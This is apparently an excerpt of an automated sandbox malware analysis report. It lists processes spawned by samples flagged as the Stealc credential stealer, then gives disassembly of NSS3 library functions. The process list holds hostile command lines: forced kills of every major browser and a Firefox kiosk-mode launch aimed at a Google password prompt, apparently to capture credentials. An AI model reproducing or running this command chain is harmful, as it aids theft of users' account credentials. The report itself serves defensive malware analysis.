Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Imagebase:	0xc30000
File size:	1'785'344 bytes
MD5 hash:	E7423CD132A8B0550213C0FB9175AE31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3156216990.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.3106886868.0000000005600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:10:42
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3368 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:10:47
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Imagebase:	0xaf0000
File size:	1'871'872 bytes
MD5 hash:	C0027647C26AF68B744A4BE6494BDEBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:10:49
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe"
Imagebase:	0xd10000
File size:	922'624 bytes
MD5 hash:	402239D87CBFB0A1F3CDF2D641A32B32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:10:49
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x1e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:10:49
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x1e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x1e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x1e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:10:52
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:10:53
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x1e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:10:53
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:10:53
Start date:	26/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:10:53
Start date:	26/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:10:53
Start date:	26/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	04:10:54
Start date:	26/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2080 -prefMapHandle 2072 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {484a36b3-2a89-4a08-a639-b417ce94df6f} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1faaa86f510 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	04:10:55
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Imagebase:	0xc30000
File size:	1'785'344 bytes
MD5 hash:	E7423CD132A8B0550213C0FB9175AE31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002F.00000003.3254467296.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002F.00000002.3294805901.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	04:10:59
Start date:	26/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -parentBuildID 20230927232528 -prefsHandle 4148 -prefMapHandle 4176 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c8c871-2cfb-474a-ac2a-440281b973b6} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1fabd52d810 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	04:10:59
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe"
Imagebase:	0x7c0000
File size:	2'825'216 bytes
MD5 hash:	EAA89CB86D24875D5F654023B97A448B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6C5F6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C742120,6C5F7E60), ref: 6C5F6EBC
TlsGetValue.KERNEL32 ref: 6C5F6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C5F6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C5F6F25

Part of subcall function 6C5CA900: TlsGetValue.KERNEL32(00000000,?,6C7414E4,?,6C564DD9), ref: 6C5CA90F
Part of subcall function 6C5CA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5CA94F

PR_Unlock.NSS3 ref: 6C5F6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C5F6FA9
TlsGetValue.KERNEL32 ref: 6C5F70B4
EnterCriticalSection.KERNEL32(?), ref: 6C5F70C8
PR_CallOnce.NSS3(6C7424C0,6C637590), ref: 6C5F7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F7117
SECOID_Init.NSS3 ref: 6C5F7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C5F714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F71A9
PR_NotifyAllCondVar.NSS3 ref: 6C5F71CF
PR_Unlock.NSS3 ref: 6C5F71DD
free.MOZGLUE(?), ref: 6C5F71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F7208
free.MOZGLUE(00000000), ref: 6C5F7221
free.MOZGLUE(00000001), ref: 6C5F7235
TlsGetValue.KERNEL32 ref: 6C5F724A
EnterCriticalSection.KERNEL32(?), ref: 6C5F725E
PR_NotifyCondVar.NSS3 ref: 6C5F7273
PR_Unlock.NSS3 ref: 6C5F7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5F7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C730148,,defaultModDB,internalKeySlot), ref: 6C5F74CC
free.MOZGLUE(00000000), ref: 6C5F7513
free.MOZGLUE(00000000), ref: 6C5F751B
free.MOZGLUE(00000000), ref: 6C5F7528
free.MOZGLUE(00000000), ref: 6C5F753C
free.MOZGLUE(00000000), ref: 6C5F7550
free.MOZGLUE(00000000), ref: 6C5F7561
free.MOZGLUE(00000000), ref: 6C5F7572
free.MOZGLUE(00000000), ref: 6C5F7583
free.MOZGLUE(00000000), ref: 6C5F7594
free.MOZGLUE(00000000), ref: 6C5F75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C5F75BD
free.MOZGLUE(00000000), ref: 6C5F75C8
free.MOZGLUE(00000000), ref: 6C5F75F1
PR_NewLock.NSS3 ref: 6C5F7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5F7686
PR_NewLock.NSS3 ref: 6C5F76A2

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C5F76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C5F7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C5F771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C5F7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C5F774A
DeleteCriticalSection.KERNEL32(?), ref: 6C5F7770
free.MOZGLUE(?), ref: 6C5F7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C5F77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5F77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C5F7821
PORT_Alloc_Util.NSS3(?), ref: 6C5F7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5F785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5F786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C5F78AC
free.MOZGLUE(00000000), ref: 6C5F78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C5F78F3
free.MOZGLUE(00000000), ref: 6C5F78FC
free.MOZGLUE(00000000), ref: 6C5F791C

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

Strings

extern:, xrefs: 6C5F772B
rdb:, xrefs: 6C5F7744
dll, xrefs: 6C5F788E
sql:, xrefs: 6C5F76FE
Spac, xrefs: 6C5F7389
dbm:, xrefs: 6C5F7716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C5F74C7
,defaultModDB,internalKeySlot, xrefs: 6C5F748D, 6C5F74AA
NSS Internal Module, xrefs: 6C5F74A2, 6C5F74C6
kbi., xrefs: 6C5F7886

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 6a30a46ccda4fd72cbdb761854d822e49515a4ec905cacdce05d382bcecd8700
Instruction ID: ed8154866c7f0e3a7450b5abc6a46e18c4be17a5d281f1bb473d67b99b7a0178
Opcode Fuzzy Hash: 6a30a46ccda4fd72cbdb761854d822e49515a4ec905cacdce05d382bcecd8700
Instruction Fuzzy Hash: E2522FB1E00215DBEB149F64CC05BAE7BB4AF06388F148139EC29A3B41E771D919CF96

Function 6C61BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C61C0C8

Part of subcall function 6C6A9440: LeaveCriticalSection.KERNEL32 ref: 6C6A95CD
Part of subcall function 6C6A9440: TlsGetValue.KERNEL32 ref: 6C6A9622
Part of subcall function 6C6A9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6A964E

PR_EnterMonitor.NSS3 ref: 6C61C0AE

Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A91AA
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9212
Part of subcall function 6C6A9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6A926B

Part of subcall function 6C5D0600: GetLastError.KERNEL32(?,?,?,?,?,6C5D05E2), ref: 6C5D0642
Part of subcall function 6C5D0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C5D05E2), ref: 6C5D065D
Part of subcall function 6C5D0600: GetLastError.KERNEL32 ref: 6C5D0678
Part of subcall function 6C5D0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C5D068A
Part of subcall function 6C5D0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D0693
Part of subcall function 6C5D0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C5D069D
Part of subcall function 6C5D0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1828B6B5,?,?,?,?,?,6C5D05E2), ref: 6C5D06CA
Part of subcall function 6C5D0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C5D05E2), ref: 6C5D06E6

PR_EnterMonitor.NSS3 ref: 6C61C0F2
PR_ExitMonitor.NSS3 ref: 6C61C10E
PR_ExitMonitor.NSS3 ref: 6C61C081

Part of subcall function 6C6A9440: TlsGetValue.KERNEL32 ref: 6C6A945B
Part of subcall function 6C6A9440: TlsGetValue.KERNEL32 ref: 6C6A9479
Part of subcall function 6C6A9440: EnterCriticalSection.KERNEL32 ref: 6C6A9495
Part of subcall function 6C6A9440: TlsGetValue.KERNEL32 ref: 6C6A94E4
Part of subcall function 6C6A9440: TlsGetValue.KERNEL32 ref: 6C6A9532
Part of subcall function 6C6A9440: LeaveCriticalSection.KERNEL32 ref: 6C6A955D

PR_EnterMonitor.NSS3 ref: 6C61C068

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

Part of subcall function 6C5D0600: GetProcAddress.KERNEL32(?,?), ref: 6C5D0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C61C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C61C183
free.MOZGLUE(00000000), ref: 6C61C18E
PR_LoadLibrary.NSS3(?), ref: 6C61C1A3
PR_EnterMonitor.NSS3 ref: 6C61C1D4
PR_ExitMonitor.NSS3 ref: 6C61C1F3
PR_CallOnce.NSS3(6C742318,6C61CA70), ref: 6C61C210
PR_EnterMonitor.NSS3 ref: 6C61C22B
PR_ExitMonitor.NSS3 ref: 6C61C247
PR_EnterMonitor.NSS3 ref: 6C61C26A
PR_ExitMonitor.NSS3 ref: 6C61C287
PR_UnloadLibrary.NSS3(?), ref: 6C61C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C61C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C61C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C61C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C61C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C61C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C61C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C61C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C61C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C61C8D5
free.MOZGLUE(00000000), ref: 6C61C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C61C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61C9E5
free.MOZGLUE(00000000), ref: 6C61CA5A

Strings

NSC_ModuleDBFunc, xrefs: 6C61C0FC
NSS_DISABLE_UNLOAD, xrefs: 6C61C7B0
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C61C38D
nss_mod_log, xrefs: 6C61C3CC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C61C77D
NSC_GetInterface, xrefs: 6C61C04F
FC_GetFunctionList, xrefs: 6C61C098
NSC_GetFunctionList, xrefs: 6C61C093
Vendor NSS FIPS Interface, xrefs: 6C61C34A
PKCS 11, xrefs: 6C61C2F9, 6C61C314
FC_GetInterface, xrefs: 6C61C054
NSS_ReturnModuleSpecData, xrefs: 6C61C275

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 3788f7a93e9a270274422060b001dec6c90c7dc08ffce74c3bd6fff476a0674e
Instruction ID: bab42e90d2bb665936635357fb0c33bcbc22bf5194fa6c200b3feff081b08962
Opcode Fuzzy Hash: 3788f7a93e9a270274422060b001dec6c90c7dc08ffce74c3bd6fff476a0674e
Instruction Fuzzy Hash: 3D425DB1A08204DFDB00EF59D84AB5A7BB1BB4634EF15803AD8068BF21E731D565CB99

Function 6C6F3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C6F3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6F3FFE
malloc.MOZGLUE(-00000003), ref: 6C6F4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C72FC62), ref: 6C6F404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6F407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6F40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6F40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6F4112
malloc.MOZGLUE(00000000), ref: 6C6F411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C6F414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6F4160
free.MOZGLUE(?), ref: 6C6F416C
malloc.MOZGLUE(?), ref: 6C6F41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C6F41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C6F4520), ref: 6C6F4244
GetEnvironmentStrings.KERNEL32 ref: 6C6F424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F42B7
